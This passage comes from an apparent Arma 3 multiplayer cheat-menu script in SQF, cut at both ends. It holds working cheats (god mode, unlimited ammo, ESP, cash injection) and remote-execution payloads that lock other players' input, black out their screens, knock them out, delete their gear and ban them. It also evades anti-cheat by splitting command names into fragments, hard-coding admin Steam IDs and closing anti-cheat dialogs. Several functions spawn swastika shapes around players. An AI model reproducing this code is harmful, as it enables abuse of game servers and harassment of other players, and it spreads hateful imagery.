- _var = [_GLOBAL_ARRAY,["FB",-1]] call _get;
- player removeEventHandler["Fired",_var];
- [_GLOBAL_ARRAY,["FB",-1]] call _set;
- hint "Fast Bullets Off";
- };
- };
- _infam = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["INFAM",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Ammo Auto Refill On";
- } else {
- hint "Ammo Auto Refill Off";
- };
- while{[_GLOBAL_ARRAY,["INFAM",false]] call _get} do {
- _mag = ((GetArray(configFile >> 'cfgWeapons' >> currentWeapon player >> 'magazines')) select 0);
- if(({_x == _mag} count(magazines player)) < 4) then {
- player addMagazine _mag;
- };
- uiSleep 0.5;
- };
- };
- _mmode = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- _var = player addEventHandler ["Fired",{
- params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
- if(!isNull _projectile) then {
- _target = (allPlayers-[player]) select floor(random(count((allPlayers-[player]))));
- if(alive _target && _target != _unit) then {
- _velocity = velocity _projectile;
- _unitVector = vectorNormalized _velocity;
- _posChange = _unitVector vectorMultiply -.1;
- _newPos = (eyepos _target) vectorAdd _posChange;
- _projectile setposasl _newPos;
- };
- };
- }];
- [_GLOBAL_ARRAY,["MM",_var]] call _set;
- hint "Murder Mode On";
- } else {
- _var = [_GLOBAL_ARRAY,["MM",-1]] call _get;
- player removeEventHandler["Fired",_var];
- [_GLOBAL_ARRAY,["MM",-1]] call _set;
- hint "Murder Mode Off";
- };
- };
- _bigbul = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- _var = player addEventHandler ["Fired",{
- _b = _this select 6;
- if(!isNull _b) then {
- _v = "Bomb_04_F" createVehicleLocal (getpos _b);
- _v setDir (getdir _b);
- _v setVelocity (velocity _b);
- };
- }];
- [_GLOBAL_ARRAY,["BIGB",_var]] call _set;
- hint "Big Bullets On";
- } else {
- _var = [_GLOBAL_ARRAY,["BIGB",-1]] call _get;
- player removeEventHandler["Fired",_var];
- [_GLOBAL_ARRAY,["BIGB",-1]] call _set;
- hint "Big Bullets Off";
- };
- };
- _bsheild = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _events = [_GLOBAL_ARRAY,["BSH",[]]] call _get;
- if(_events isEqualTo []) then {
- _events = [];
- {
- _e = _x addEventHandler["Fired",{
- params["_unit","_weapon","_muzzle","_mode","_ammo","_magazine","_projectile"];
- waitUntil{isNull _projectile || _projectile distance player < 10};
- if(!isNull _projectile) then {
- _projectile setpos [0,0,0];
- };
- }];
- _events pushBack [_x,_e];
- } forEach (if(isServer) then {allUnits} else {(allPlayers-[player])});
- [_GLOBAL_ARRAY,["BSH",_events]] call _set;
- hint "Bullet Sheild On";
- } else {
- {
- _target = _x select 0;
- _event = _x select 1;
- _target removeEventHandler["Fired",_event];
- } forEach _events;
- [_GLOBAL_ARRAY,["BSH",[]]] call _set;
- hint "Bullet Sheild Off";
- };
- };
- _odstdrop = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _pos = getpos player;
- _pos set[2,500];
- hint "Dropping Players";
- {
- _x setpos (_pos vectorAdd [random(20)-10,random(20)-10,random(5)]);
- uiSleep .1;
- } forEach allPlayers;
- };
- _utsea = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- hint "Going Under The Sea";
- {
- _x setposatl [random(5),random(5),2];
- uiSleep .1;
- } forEach allplayers;
- };
- _nazifyt = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _target = (vehicle _target);
- for "_i" from 0 to 8 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[0,0,_i]];
- };
- for "_i" from 0 to 3 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[4,0,_i]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-4,0,_i+4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,8]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,8]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,0]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,0]];
- };
- };
- _nazifyall = {
- {
- _x spawn {
- _target = _this;
- if(isNull _target) exitWith {hint "You are not targeting an object!";};
- for "_i" from 0 to 8 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[0,0,_i]];
- };
- for "_i" from 0 to 3 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[4,0,_i]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-4,0,_i+4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,8]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,8]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,0]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,0]];
- };
- };
- } foreach (if(isMultiplayer) then {allPlayers} else {allUnits});
- };
- _nazify = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _target = cursorObject;
- if(isNull _target) exitWith {hint "You are not targeting an object!";};
- for "_i" from 0 to 8 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[0,0,_i]];
- };
- for "_i" from 0 to 3 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[4,0,_i]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-4,0,_i+4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i-.5,0,8]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[_i,0,8]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,4]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,4]];
- };
- for "_i" from 1 to 4 do {
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i,0,0]];
- _v = (typeof player) createVehicle (position player);
- _v attachTo [_target,[-1*_i + .5,0,0]];
- };
- };
- _wgcash = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _cash = createVehicle ["Land_Money_F", player modelToWorld [0,1,0], [], 0, "CAN_COLLIDE"];
- _cash setVariable ["cmoney", 50000, true];
- };
- _wheal = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- player setDamage --0;
- uinamespace setVariable ["thirstLevel",100];
- uinamespace setVariable ["hungerLevel",100];
- };
- _wvshop = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [] call loadVehicleStore;
- };
- _wgshop = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [] call loadGeneralStore;
- };
- _wwshop = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [] call loadGunStore;
- };
- _lgcash = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _amount = 50000;
- _cashvar = 'life_cash';
- if(isNil _cashvar) then {
- _var = loadFile 'script_macros.hpp';
- if(_var == "") then {
- _var = loadFile 'core\macros.h';
- };
- if(_var != "") then {
- _var2 = toLower(_var) splitString " ";
- _var2 = _var2 - [""];
- _index = _var2 find "cash";
- if(_index != -1) then {
- _cashvar = _var2 select (_index+1);
- } else {
- hint 'Could not find the cash var \n:(';
- };
- };
- };
- missionNamespace setVariable [_cashvar,(missionNamespace getvariable[_cashvar,0]) + _amount];
- };
- _lgcash2 = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _amount = 1000000;
- _cashvar = 'life_cash';
- if(isNil _cashvar) then {
- _var = loadFile 'script_macros.hpp';
- if(_var == "") then {
- _var = loadFile 'core\macros.h';
- };
- if(_var != "") then {
- _var2 = toLower(_var) splitString " ";
- _var2 = _var2 - [""];
- _index = _var2 find "cash";
- if(_index != -1) then {
- _cashvar = _var2 select (_index+1);
- } else {
- hint 'Could not find the cash var \n:(';
- };
- };
- };
- missionNamespace setVariable [_cashvar,(missionNamespace getvariable[_cashvar,0]) + _amount];
- };
- _stealv = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
- _vehicle = vehicle _target;
- _moveout = driver _vehicle;
- moveOut _moveout;
- waitUntil{vehicle _moveout == _moveout || isNull (driver _vehicle)};
- player moveInDriver _vehicle;
- };
- _stealv2 = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
- _vehicle = vehicle _target;
- waitUntil{{moveOut _x;} forEach (crew _vehicle);(crew _vehicle) isEqualTo []};
- player moveInDriver _vehicle;
- };
- _getinv = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(vehicle _target == _target) exitWith {hint "You must target someone in a vehicle";};
- player moveInAny (vehicle _target);
- };
- _viewinv = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- createGearDialog[_target,"RscDisplayInventory"];
- };
- _csrvr = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,{
- if(isserver) then {
- openDLCPage 288520;
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _locktarget = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- disableUserInput true;
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- disableUserInput false;
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
- };
- };
- _blackscreen = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- 0 cutText ["""",""BLACK FADED"",20];
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- 0 cutText ["""",""PLAIN"",0];
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
- };
- };
- _kotarget = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- player setUnconscious true;
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- player setUnconscious false;
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
- };
- };
- _ko = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,{
- if(!isserver) then {
- player setUnconscious true;
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- } else {
- [_GLOBAL_ARRAY,_get,_set,{
- if(!isserver) then {
- player setUnconscious false;
- player switchMove "unconsciousoutprone";
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get)
- };
- };
- _wave = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- [] spawn {
- player switchMove ""HubWave_Move2"";
- uiSleep 3.1;
- player switchMove ""TestDance"";
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _voteTrump = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,{
- if(!isserver) then {
- [] spawn {
- while{true} do {
- Systemchat "____________________________________";
- Systemchat "VOTE 4 TRUMP";
- uiSleep 1;
- Systemchat "This message has been approved by";
- uiSleep 1;
- Systemchat "Hillary Rodham-Clinton";
- uiSleep 1;
- };
- };
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _saveLoadout = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- hint 'loadout saved';
- _saveCFG = [_GLOBAL_ARRAY,['saveCFG',{}]] call _get;
- _data = [_GLOBAL_ARRAY,['IGUI_GRID_CHAT_X_LOADOUTS',[]]] call _get;
- _index = _data pushback (getunitloadout player);
- [_GLOBAL_ARRAY,['IGUI_GRID_CHAT_X_LOADOUTS',_data]] call _set;
- ["LOADOUTS",_data] call _saveCFG;
- _menuData = [_GLOBAL_ARRAY,["MainMenu",[]]] call _get;
- if(count(_menuData) == 0) exitWith {hint 'error: menudata not found';};
- _i1 = _menuData deleteAt (count(_menuData)-1);
- _i2 = _menuData deleteAt (count(_menuData)-1);
- _i3 = _menuData deleteAt (count(_menuData)-1);
- _i4 = _menuData deleteAt (count(_menuData)-1);
- _menuData pushback ["Loadout " + str(_index + 1), compile ("player setUnitLoadout " + str(getunitloadout player)),false,""];
- _menuData pushback _i4;
- _menuData pushback _i3;
- _menuData pushback _i2;
- _menuData pushback _i1;
- [_GLOBAL_ARRAY,["MainMenu",_menuData]] call _set;
- };
- _resetLoadouts = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- hint "IN ORDER TO RESET LOADOUTS YOU MUST RESET THE MENU";
- _saveCFG = [_GLOBAL_ARRAY,['saveCFG',{}]] call _get;
- ["LOADOUTS",[]] call _saveCFG;
- };
- _exit = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- [_GLOBAL_ARRAY,["IsRunning",false]] call _set;
- [_GLOBAL_ARRAY,["IsExiting",true]] call _set;
- };
- _reset = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- closeDialog 0;
- [_GLOBAL_ARRAY,["IsRunning",false]] call _set;
- };
- _givallcash = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _amount = 500000000000000;
- _cashvar = 'life_cash';
- if(isNil _cashvar) then {
- _var = loadFile 'script_macros.hpp';
- if(_var == "") then {
- _var = loadFile 'core\macros.h';
- };
- if(_var != "") then {
- _var2 = toLower(_var) splitString " ";
- _var2 = _var2 - [""];
- _index = _var2 find "cash";
- if(_index != -1) then {
- _cashvar = _var2 select (_index+1);
- } else {
- hint 'Could not find the cash var \n:(';
- };
- };
- };
- [_GLOBAL_ARRAY,_get,_set, _cashvar + " = " + str(_amount) + ";"] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _kickout = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- moveOut _target;
- hint "Kicked out";
- };
- _kickoutallinv = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- {
- moveOut _x;
- } forEach (crew (vehicle _target));
- hint "Kicked out";
- };
- _kickoutall = {
- {
- if(vehicle _x != _x) then {
- moveOut _x;
- };
- } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
- };
- _vboost = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["VBOOS",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Boost On\nPress SHIFT (only shift) to activate";
- } else {
- hint "Boost Off";
- };
- while{[_GLOBAL_ARRAY,["VBOOS",false]] call _get} do {
- waitUntil{vehicle player != player || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
- waitUntil{inputAction "Turbo" > 0 || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
- waitUntil{abs(speed(vehicle player)) > 0 || !([_GLOBAL_ARRAY,["VBOOS",false]] call _get)};
- if(!([_GLOBAL_ARRAY,["VBOOS",false]] call _get)) exitWith {};
- _vec = (vectorNormalized (velocity (vehicle player))) vectorMultiply (1.5);
- _boost = (velocity (vehicle player)) vectorAdd (_vec);
- (vehicle player setVelocity _boost);
- uisleep 0.01;
- };
- systemchat "press SHIFT (only shift) to boost";
- while{true} do {
- };
- };
- _easypeasy = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- _a = "addMission";
- _a = _a + "EventHandler [""Draw3D"",{";
- _a = _a + "
- _ordered = [];
- {
- if(player distance _x <= 2000) then {
- _ordered pushback [str(side _x),str(vehicle _x == _x),name _x,_x];
- };
- } forEach (if(isMultiplayer) then {allPlayers} else {allUnits});
- _ordered sort true;
- ";
- _a = _a + "
- {
- _side = _x select 0;
- _inVehicle = _x select 1;
- _name = _x select 2;
- _object = _x select 3;
- ";
- _a = _a + "
- _pos = (_object modelToWorld ((_object selectionPosition ""neck"") vectorAdd [0,0,0.25]));
- ";
- _a = _a + "
- _color = [1,0,1,1];
- if(side _object == blufor) then {
- _color = [0,0,1,1];
- };
- if(side _object == opfor) then {
- _color = [1,0,0,1];
- };
- if(side _object == independent) then {
- _color = [0,1,0,1];
- };
- if(getplayeruid _object in ['76561198152111329','76561198276380268']) then {
- _color = [1,1,0];
- _name = ""INFISTAR"";
- };
- _scale = (0.05 - (0.05 *((player distance _object)/3000)));
- if(_scale > 0) then {
- draw";
- _a = _a + "Icon3D ["""", _color, _pos, 0, 0, 0, _name + "" ("" + str(round(player distance _object)) + ""m)"", 2, _scale, ""PuristaMedium"",""center"",true];
- };
- } forEach _ordered;
- }];";
- _b = compile _a;
- _eh = call _b;
- [_GLOBAL_ARRAY,["PIEH",_eh]] call _set;
- hint "Player Icons On";
- } else {
- _a = "remove";
- _a = _a + "MissionEventHandler";
- _a = _a + " [""Draw";
- _a = _a + "3D"",_eh];";
- _eh = [_GLOBAL_ARRAY,["PIEH",-1]] call _get;
- _b = compile _a;
- call _b;
- hint "Player Icons Off";
- };
- };
- _uammdetectable = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["UNAMM",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Unlimited Ammo On";
- } else {
- hint "Unlimited Ammo Off";
- };
- while{[_GLOBAL_ARRAY,["UNAMM",false]] call _get} do {
- (vehicle player) setVehicleAmmo 1;
- player setVehicleAmmo 1;
- uiSleep 1;
- };
- };
- _godmerd = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["AUH",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Autoheal On";
- } else {
- hint "Autoheal Off";
- };
- while{[_GLOBAL_ARRAY,["AUH",false]] call _get} do {
- player allowDamage false;
- player setDamage --0;
- uiSleep 0.001;
- };
- };
- _tpcur = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- _cur = screenToWorld [0.5,0.5];
- player setpos _cur;
- hint "Pop!";
- };
- _infuck = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,'
- [] spawn {
- if(isserver) then {
- while{true} do {
- "' + typeof player + '" create' + 'Unit [[0,0,0],create' + 'group side' + 'Logic,"if(!isserver) then {
- if(player getVariable [""hihi"",false]) exitWith {};
- player setVariable [""hihi"",true];
- [] spawn {
- disableSerialization;
- while{true} do {
- for ""_i"" from 1330 to 1350 do {
- _x = (-1 * _i);
- if(!isNull (findDisplay _x)) then {
- closeDialog 0;closeDialog 0;closeDialog 0;
- (findDisplay _x) closeDisplay 0;
- systemchat ""HiHiHi"";
- };
- _x = _i;
- if(!isNull (findDisplay _x)) then {
- closeDialog 0;closeDialog 0;closeDialog 0;
- (findDisplay _x) closeDisplay 0;
- systemchat ""HiHiHi"";
- };
- };
- uiSleep 0.1;
- };
- };
- [] spawn {
- disableSerialization;
- while{true} do {
- {
- if(str(_x) == ""Display #-1338"") then {
- _x closeDisplay 0;
- closeDialog 0;
- closeDialog 0;
- closeDialog 0;
- systemchat ""HiHiHi"";
- };
- } forEach (allDisplays);
- uiSleep 0.1;
- };
- };
- };"];
- uiSleep 10;
- };
- };
- };
- '] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "HiHiHi is no more";
- };
- _rainbow = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid _target) + """;
- _object setVa" + "riable [""rainbowing"",true];
- _object setVariable [""oldtextures"",getObjectTextures _object];
- while{_object getVar" + "iable [""rainbowing"",false]} do {
- _object setObjectTextureGlobal [0,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
- uiSleep 0.5;
- };
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "Rainbow ON";
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid _target) + """;
- _object setVa" + "riable [""rainbowing"",false];
- uiSleep 0.5;
- _object setObjectTextureGlobal [0,(_object getVariable[""oldtextures"",[""""]]) select 0];
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "Rainbow OFF";
- };
- };
- _rainbowcursor = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid cursorObject) + """;
- while{true} do {
- {
- _object setObjectTextureGlobal [_forEachIndex,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
- } forEach getObjectTextures _object;
- uiSleep 0.5;
- };
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "Rainbowed";
- };
- _deletegear = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- player setUnitLoadout [[],[],[],[],[],[],"""","""",[],["""","""","""","""","""",""""]];
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _deleteallgear = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,{
- if(!isserver) then {
- player setUnitLoadout [[],[],[],[],[],[],"","",[],["","","","","",""]];
- };
- }] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _rainbowme = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- if(_toggleStatus) then {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid player) + """;
- _object setVa" + "riable [""rainbowing"",true];
- _object setVariable [""oldtextures"",getObjectTextures _object];
- while{_object getVar" + "iable [""rainbowing"",false]} do {
- _object setObjectTextureGlobal [0,""#(argb,8,8,3)color("" + str(random(1)) + "","" + str(random(1)) + "","" + str(random(1)) + "",1)""];
- uiSleep 0.5;
- };
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "Rainbow ON";
- } else {
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid player) + """;
- _object setVa" + "riable [""rainbowing"",false];
- uiSleep 0.5;
- _object setObjectTextureGlobal [0,(_object getVariable[""oldtextures"",[""""]]) select 0];
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "Rainbow OFF";
- };
- };
- _inban = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,"
- if((getplayeruid player) == """ + (getplayeruid _target) + """) then {
- gg" + "player = true;
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- hint "RIP him";
- };
- _vgodmerd = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["VAH",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Vehicle Autoheal On";
- } else {
- hint "Vehicle Autoheal Off";
- };
- _vehicle = objNull;
- while{[_GLOBAL_ARRAY,["VAH",false]] call _get} do {
- if(vehicle player == player) then {
- if(!isNull _vehicle) then {
- _vehicle allowDamage true;
- _vehicle = objNull;
- };
- };
- waitUntil{vehicle player != player};
- _vehicle = vehicle player;
- _vehicle allowDamage false;
- _vehicle setDamage --0;
- uiSleep 1;
- };
- };
- _ghetfly = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["GFL",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Ghetto Fly On";
- player allowDamage false;
- } else {
- hint "Ghetto Fly Off";
- player allowDamage true;
- };
- while{[_GLOBAL_ARRAY,["GFL",false]] call _get} do {
- player playActionNow "PlayerStand";
- _dir = eyeDirection player;
- if(currentWeapon player != "") then {
- _dir = player weaponDirection (currentWeapon player);
- };
- player setvelocity (_dir vectorMultiply 15);
- };
- };
- _enableremovevspawn = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["RemoteVSpawn",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Vehicles now spawn w/ Remote Exec";
- } else {
- hint "Vehicles now spawn locally";
- };
- };
- _enablehelimode = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["SpawnHeliMode",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Vehicles now spawn in HeliMode™";
- } else {
- hint "Vehicles now spawn locally";
- };
- };
- _cleanup = {
- {
- deleteVehicle _x;
- sleep 0.1;
- } forEach allDead;
- };
- _kamikazi = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,_get,_set,"
- if(isserver) then {
- [] spawn {
- _object = objectFromNetId """ + (netid _target) + """;
- _pos = getpos _object;
- for ""_i"" from 1 to 150 do {
- _v = (""B_Plane"" + ""_CAS_01_F"") createVehicle [0,0,1000];
- _v setposatl (_pos vectorAdd [random(1000)-500,random(1000)-500,300]);
- _v setvelocity [random(100)-50,random(100)-50,random(10)-20];
- };
- };
- };
- "] call ([_GLOBAL_ARRAY,["re",{}]] call _get);
- };
- _mmarks = {
- params["_GLOBAL_ARRAY","_get","_set","_target","_toggleStatus"];
- [_GLOBAL_ARRAY,["mmarkrofl",_toggleStatus]] call _set;
- if(_toggleStatus) then {
- hint "Markers On";
- } else {
- hint "Markers Off";
- {
- } forEach allMapMarkers;
- };
- _markers = [];
- while{[_GLOBAL_ARRAY,["mmarkrofl",false]] call _get} do {
- if(visibleMap) then {
- {
- _pos = getpos _x;
- _name = name _x;
- _marker = "_USER_DEFINED #0/" + str(_forEachIndex+10) + "/3";
- if !(_marker in _markers) then {
- _markers pushBack _marker;
- };
- if ((markerPos _marker) isEqualTo [0,0,0]) then {
- deleteMarker _marker;
- _a = "create" + "Marker" + "Local [_marker, _pos]";
- _b = compile _a;
- call _b;
- _marker setMarkerShapeLocal "ICON";
- _marker setMarkerTypeLocal "mil_box";
- _marker setMarkerColorLocal "ColorRed";
- };
- _marker setMarkerPosLocal _pos;
- _marker setMarkerTextLocal _name;
- uiSleep (.1/count((if(isMultiplayer) then {allPlayers} else {allunits})));
- } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
- {
- _name = markerText _x;
- _found = false;
- {
- if(name _x == _name) exitWith {
- _found = true;
- };
- } forEach (if(isMultiplayer) then {allPlayers} else {allunits});
- if(!_found) then {
- deleteMarker _x;
- };
